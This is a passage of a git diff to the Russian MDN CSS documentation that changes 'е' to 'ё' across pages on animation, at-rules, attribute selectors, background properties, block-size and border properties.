a/files/ru/web/css/animation-play-state/index.html +++ b/files/ru/web/css/animation-play-state/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/animation-play-state <p>Свойство <strong><code>animation-play-state</code></strong> определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.</p> -<p>Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.</p> +<p>Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнётся с начала.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html index 5b4d0660b6..5e0e2e857d 100644 --- a/files/ru/web/css/animation-timing-function/index.html +++ b/files/ru/web/css/animation-timing-function/index.html @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation-timing-function <dl> <dt><code><timingfunction></code></dt> - <dd>Каждый {{cssxref("<timing-function>")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.</dd> + <dd>Каждый {{cssxref("<timing-function>")}} представляет функцию расчёта времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html index 3ae986fbd9..b84ac013b4 100644 --- a/files/ru/web/css/appearance/index.html +++ b/files/ru/web/css/appearance/index.html @@ -2624,7 +2624,7 @@ div{ color: black; <h2 id="Примеры">Примеры</h2> -<p>Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:</p> +<p>Нижеприведённый пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:</p> <pre class="brush: css">.exampleone { -moz-appearance: toolbarbutton; diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html index 38cf88c874..f318aebe28 100644 --- a/files/ru/web/css/at-rule/index.html +++ b/files/ru/web/css/at-rule/index.html @@ -18,17 +18,17 @@ translation_of: Web/CSS/At-rule <ul> <li>{{cssxref("@charset")}} — Определяет кодировку символов, используемый таблицей стилей.</li> <li>{{cssxref("@import")}} — Сообщает движку CSS включить внешнюю таблицу стилей.</li> - <li>{{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имен XML.</li> + <li>{{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имён XML.</li> <li><strong><em>Вложенные at-правила</em></strong> — Подмножество вложенных операторов, которые могут использоваться как оператор таблицы стилей, а также внутри правил условной группы. <ul> - <li>{{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определенного с помощью медиавыражения.</li> + <li>{{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определённого с помощью медиавыражения.</li> <li>{{cssxref("@supports")}} — Условное групповое правило, которое будет применять его содержимое, если браузер соответствует критериям данного условия.</li> <li>{{cssxref("@document")}} {{experimental_inline}} — Условное групповое правило, которое будет применять его содержимое, если документ, в котором применяется таблица стилей, соответствует критериям данного условия.</li> - <li>{{cssxref("@page")}} — Описывает аспект изменений макета, который будет применен при печати документа.</li> + <li>{{cssxref("@page")}} — Описывает аспект изменений макета, который будет применён при печати документа.</li> <li>{{cssxref("@font-face")}} — Описывает аспект внешнего шрифта для загрузки.</li> <li>{{cssxref("@keyframes")}} — Описывает аспект промежуточных шагов в последовательности анимации CSS.</li> <li>{{cssxref("@viewport")}} {{experimental_inline}} — Описывает аспекты области просмотра для устройств с маленьким экраном. (в настоящее время на стадии разработки проекта)</li> - <li>{{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределенного набора стилей.</li> + <li>{{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределённого набора стилей.</li> <li>{{cssxref("@font-feature-values")}} (плюс <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> и <code>@character-variant</code>)<br> — Определите общие имена в {{cssxref("font-option-alternates")}} для функции, которая по-разному активируется в OpenType <em>(at the Candidate Recommendation stage, but only implemented in Gecko as of writing)</em></li> </ul> @@ -45,7 +45,7 @@ translation_of: Web/CSS/At-rule <li>{{cssxref("@document")}}. <em>(deferred to Level 4 of CSS Spec) </em></li> </ul> -<p>Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.</p> +<p>Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределённое количество вложений.</p> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html index 2b8ac3861c..f2affc9d98 100644 --- a/files/ru/web/css/attribute_selectors/index.html +++ b/files/ru/web/css/attribute_selectors/index.html @@ -15,15 +15,15 @@ translation_of: Web/CSS/Attribute_selectors <dt><code>[<em>attr</em>=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr и значением в точности совпадающим с value.</dd> <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value</dd> + <dd>Обозначает элемент с именем атрибута attr значением которого является набор слов разделённых пробелами, одно из которых в точности равно value</dd> <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подходом.</dd> <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt> <dd>Обозначает элемент с именем атрибута attr значение которого начинается с "value"</dd> <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"</dd> + <dd>Обозначает элемент с именем атрибута attr чьё значение заканчивается на "value"</dd> <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt> - <dd>Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.</dd> + <dd>Обозначает элемент с именем атрибута attr чьё значение содержит по крайней мере одно вхождение строки "value" как подстроки.</dd> </dl> <h2 id="Example" name="Example">Пример</h2> @@ -31,13 +31,13 @@ translation_of: Web/CSS/Attribute_selectors <pre class="brush: css">/* Все span с атрибутом "lang" будут жирными */ span[lang] {font-weight:bold;} -/* Все span в Португалии будут зелеными */ +/* Все span в Португалии будут зелёными */ span[lang="pt"] {color:green;} /* Все span с американским английским будут синими */ span[lang~="en-us"] {color: blue;} -/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */ +/* Любые span на китайском языке будут красными, как на упрощённом китайском (zh-CN) так и на традиционном (zh-TW) */ span[lang|="zh"] {color: red;} /* Все внутренние ссылки будут иметь золотой фон */ diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html index b971c15abd..48b9e9cc09 100644 --- a/files/ru/web/css/backdrop-filter/index.html +++ b/files/ru/web/css/backdrop-filter/index.html @@ -41,9 +41,9 @@ translation_of: Web/CSS/backdrop-filter <dl> <dt><code>none</code></dt> - <dd>Фильтр отключен для фона</dd> + <dd>Фильтр отключён для фона</dd> <dt><code><filter-function-list></code></dt> - <dd>Перечень фильтров, разделенных пробелами функций {{cssxref("<filter-function>")}} или <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG фильтра</a>, которые применены для фона.</dd> + <dd>Перечень фильтров, разделённых пробелами функций {{cssxref("<filter-function>")}} или <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG фильтра</a>, которые применены для фона.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html index f6bf261e3b..870c9de709 100644 --- a/files/ru/web/css/backface-visibility/index.html +++ b/files/ru/web/css/backface-visibility/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/backface-visibility --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <strong><code>backface-visibility</code></strong> определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.</p> +<p>Свойство <strong><code>backface-visibility</code></strong> определяет, видно ли заднюю грань элемента, когда он повёрнут к пользователю.</p> <div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div> @@ -30,9 +30,9 @@ backface-visibility: unset;</pre> <dl> <dt><code>visible</code></dt> - <dd>Задняя сторона видна, когда повернута к пользователю.</dd> + <dd>Задняя сторона видна, когда повёрнута к пользователю.</dd> <dt><code>hidden</code></dt> - <dd>Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.</dd> + <dd>Задняя поверхность скрыта, что делает элемент невидимым, когда он повёрнутый от пользователя.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html index c88a2fc71d..d16e4fe743 100644 --- a/files/ru/web/css/background-attachment/index.html +++ b/files/ru/web/css/background-attachment/index.html @@ -28,7 +28,7 @@ background-attachment: inherit; background-attachment: initial; background-attachment: unset;</pre> -<p>Значение свойства <code>background-attachment</code> задается одним из ключевых значений из списка ниже.</p> +<p>Значение свойства <code>background-attachment</code> задаётся одним из ключевых значений из списка ниже.</p> <h3 id="Значения">Значения</h3> @@ -38,7 +38,7 @@ background-attachment: unset;</pre> <dt><code>local</code></dt> <dd>Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.</dd> <dt><code>scroll</code></dt> - <dd>Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)</dd> + <dd>Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплён к границе элемента.)</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -72,7 +72,7 @@ background-attachment: unset;</pre> <h3 id="Поддержка_нескольких_фоновых_изображений">Поддержка нескольких фоновых изображений</h3> -<p>Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <code><attachment></code> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.</p> +<p>Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <code><attachment></code> для каждого фона, разделённых запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.</p> <h4 id="HTML_2">HTML</h4> @@ -118,7 +118,7 @@ background-attachment: unset;</pre> <tr> <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td> <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>Сокращенное свойство было расширено для поддержки нескольких фонов и значения <code>local</code>.</td> + <td>Сокращённое свойство было расширено для поддержки нескольких фонов и значения <code>local</code>.</td> </tr> <tr> <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td> diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html index e55a99aa83..405a76ed14 100644 --- a/files/ru/web/css/background-blend-mode/index.html +++ b/files/ru/web/css/background-blend-mode/index.html @@ -29,7 +29,7 @@ background-blend-mode: unset; <dl> <dt><code><blend-mode></code></dt> - <dd>{{cssxref("<blend-mode>")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.</dd> + <dd>{{cssxref("<blend-mode>")}} обозначающий режим наложения, который применён. Может быть несколько значений, разделённых запятыми.</dd> </dl> <h2 id="Examples" name="Examples">Пример</h2> diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html index ddc05598eb..7c7f5bc3dc 100644 --- a/files/ru/web/css/background-clip/index.html +++ b/files/ru/web/css/background-clip/index.html @@ -112,7 +112,7 @@ background-clip: unset;</code></pre> <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Свойство {{cssxref("clip-path")}} создает область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.</li> + <li>Свойство {{cssxref("clip-path")}} создаёт область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.</li> <li>Свойства фона: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">Введение в блочную модель CSS</a></li> </ul> diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 095ff8ee1e..cdcf7b8c79 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/background-image <p>Свойство <a href="/ru/docs/CSS" title="/ru/docs/CSS">CSS</a> <strong><code>background-image</code></strong> устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.</p> -<p><a href="/ru/CSS/border" title="border">Границы</a> {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.</p> +<p><a href="/ru/CSS/border" title="border">Границы</a> {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и её границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.</p> -<p>Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением <code>none</code>.</p> +<p>Если указанное изображение не может быть нарисовано (например, когда файл, определённый указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением <code>none</code>.</p> <div class="note"><strong>Обратите внимание:</strong> Даже, если изображение непрозрачно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать атрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.</div> @@ -36,7 +36,7 @@ background-image: inherit; <dt><code>none</code></dt> <dd>Это ключевое слово обозначает отсутствие изображений.</dd> <dt><code><image></code></dt> - <dd>{{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> несколько фонов</a>.</dd> + <dd>{{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделённых запятыми, поскольку поддерживается<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> несколько фонов</a>.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html index 3aaa1af51e..ffebd13721 100644 --- a/files/ru/web/css/background-position-x/index.html +++ b/files/ru/web/css/background-position-x/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/background-position-x -<p>Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} примененными после его объявления.</p> +<p>Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применёнными после его объявления.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -41,7 +41,7 @@ background-position-x: initial; background-position-x: unset; </pre> -<p>Свойство <code>background-position-x</code> принимает одно или несколько значений, разделенных запятыми.</p> +<p>Свойство <code>background-position-x</code> принимает одно или несколько значений, разделённых запятыми.</p> <h3 id="Значения">Значения</h3> diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html index dcd216c010..97620ff7d2 100644 --- a/files/ru/web/css/background-position/index.html +++ b/files/ru/web/css/background-position/index.html @@ -43,7 +43,7 @@ background-position: initial; background-position: unset; </pre> -<p>Свойство <code>background-position</code> указывается в виде одного или нескольких значений <code><a href="#<position>"><position></a></code>, разделенных запятыми.</p> +<p>Свойство <code>background-position</code> указывается в виде одного или нескольких значений <code><a href="#<position>"><position></a></code>, разделённых запятыми.</p> <h3 id="Values" name="Values">Значения</h3> @@ -83,7 +83,7 @@ background-position: unset; <h2 id="Examples" name="Examples">Примеры</h2> -<p>Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.</p> +<p>Каждый из этих примеров использует свойство {{cssxref("background")}} для создания жёлтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.</p> <h3 id="HTML">HTML</h3> @@ -102,7 +102,7 @@ div { margin-bottom: 12px; } -/* В этих примерах используется сокращенное свойство 'background' */ +/* В этих примерах используется сокращённое свойство 'background' */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat; } diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html index 76eb8e36a1..ad4d0bffd0 100644 --- a/files/ru/web/css/background-repeat/index.html +++ b/files/ru/web/css/background-repeat/index.html @@ -177,7 +177,7 @@ div { <tr> <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td> <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов <code>space</code> и <code>round</code>, а также для фона на элементе на уровне строки путем точного определения области рисования фона.</td> + <td>Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов <code>space</code> и <code>round</code>, а также для фона на элементе на уровне строки путём точного определения области рисования фона.</td> </tr> <tr> <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td> diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html index f93b74acd7..71c948b9e4 100644 --- a/files/ru/web/css/background-size/index.html +++ b/files/ru/web/css/background-size/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/background-size <p>Значение <strong><code>background-size</code></strong> в <a href="/en-US/docs/CSS" title="CSS">CSS</a> позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.</p> -<div class="note"><strong>Предупреждение:</strong> Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства <code>background-size</code>, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращенного свойства.</div> +<div class="note"><strong>Предупреждение:</strong> Если значение этого свойства не задано в сокращённом свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства <code>background-size</code>, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращённого свойства.</div> <p>{{cssinfo}}</p> @@ -68,7 +68,7 @@ background-size: unset; <p>Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответствуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответствующей внутренней пропорцией.</p> -<div class="note"><strong>Предупреждение:</strong> Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.</div> +<div class="note"><strong>Предупреждение:</strong> Это не определённое в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.</div> <p>Визуализированный размер фонового изображения затем вычисляется следующим способом:</p> @@ -76,14 +76,14 @@ background-size: unset; <dt><font face="Open Sans, Arial, sans-serif">Если оба атрибута в </font><code>background-size</code> заданы и различны от <code>auto</code>:</dt> <dd>Фоновое изображение отображается в указанном размере.</dd> <dt>Если <code>background-size</code> содержит <code>contain</code> или <code>cover</code>:</dt> - <dd>Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.</dd> + <dd>Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает её. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.</dd> <dt>Если <code>background-size</code> установлен как <code>auto</code> или <code>auto auto</code>:</dt> - <dd>Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан <code>contain</code>. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.</dd> + <dd>Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан <code>contain</code>. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определённым этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.</dd> <dt>Если background-size содержит один атрибут <code>auto</code> и один не-<code>auto</code>:</dt> <dd>Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имеет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответствующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.</dd> </dl> -<p>Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.</p> +<p>Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, ещё не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.</p> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -95,7 +95,7 @@ background-size: unset; <h2 id="Замечания">Замечания</h2> -<p>Если вы указываете градиент в качестве фона и указали <code>background-size</code>, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, <code>background-size: 50%</code>). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спецификацией <code>background-size</code> </a>и с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спецификацией градиента значений изображения</a>.</p> +<p>Если вы указываете градиент в качестве фона и указали <code>background-size</code>, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задаётся с использованием только значения ширины (для примера, <code>background-size: 50%</code>). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спецификацией <code>background-size</code> </a>и с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спецификацией градиента значений изображения</a>.</p> <pre class="brush: css">.bar { width: 50px; height: 100px; diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html index 7b39d9589c..fafdb12cc3 100644 --- a/files/ru/web/css/background/index.html +++ b/files/ru/web/css/background/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/background --- <div>{{CSSRef("CSS Background")}}</div> -<div>Сокращенное <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong> устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.</div> +<div>Сокращённое <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong> устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.</div> <div></div> @@ -15,7 +15,7 @@ translation_of: Web/CSS/background <p>Свойство является <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращением,</a> которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.</p> -<p>Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои <a href="/en-US/docs/Web/CSS/initial_value">изначальные значения</a>.</p> +<p>Как и во всех сокращённых свойствах, любые пропущенные вложенные значения будут установлены в свои <a href="/en-US/docs/Web/CSS/initial_value">изначальные значения</a>.</p> @@ -54,7 +54,7 @@ background: no-repeat center/80% url("../img/image.png"); <dt><code><repeat-style></code></dt> <dd>Смотри {{cssxref("background-repeat")}}</dd> <dt><code><bg-size></code></dt> - <dd>Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <strong><position></strong>, разделенного символом '/'.</dd> + <dd>Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <strong><position></strong>, разделённого символом '/'.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html index 413705bb6d..c7d9f6ada4 100644 --- a/files/ru/web/css/block-size/index.html +++ b/files/ru/web/css/block-size/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/block-size --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.</p> +<p>Свойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> задаёт горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.</p> <pre class="brush:css no-line-numbers">/* <length> values */ block-size: 300px; @@ -37,7 +37,7 @@ block-size: initial; block-size: unset; </pre> -<p>Если режим записи (writing mode) ориентирован по вертикали, то значение <code> block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.</code></p> +<p>Если режим записи (writing mode) ориентирован по вертикали, то значение <code> block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задаёт другое измерение элемента.</code></p> <p><code>{{cssinfo}}</code></p> @@ -92,7 +92,7 @@ block-size: unset; <h2 id="Совместимость_с_браузерами"><code>Совместимость с браузерами</code></h2> -<div class="hidden"><code>Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в разработку, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам соответствующий запрос.</code></div> +<div class="hidden"><code>Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в разработку, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам соответствующий запрос.</code></div> <p><code>{{Compat("css.properties.block-size")}}</code></p> diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html index 9841ac6e97..4a7890a181 100644 --- a/files/ru/web/css/border-image-slice/index.html +++ b/files/ru/web/css/border-image-slice/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-image-slice <h2 id="Описание">Описание</h2> -<p>CSS свойство <strong><code>border-image-slice</code></strong> делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путем указания 4 внутренних смещений.</p> +<p>CSS свойство <strong><code>border-image-slice</code></strong> делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путём указания 4 внутренних смещений.</p> <p><a href="/files/3814/border-image-slice.png" style="float: left;"><img alt="The nine slices defined by the CSS border-image shorthand or border-image-slice longhand properties" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></a>Четыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.</p> diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html index 3a597a4b3b..d08dd0e681 100644 --- a/files/ru/web/css/border-radius/index.html +++ b/files/ru/web/css/border-radius/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-radius --- <div>{{CSSRef}}</div> -<p><strong><code>border-radius</code></strong> — это <a 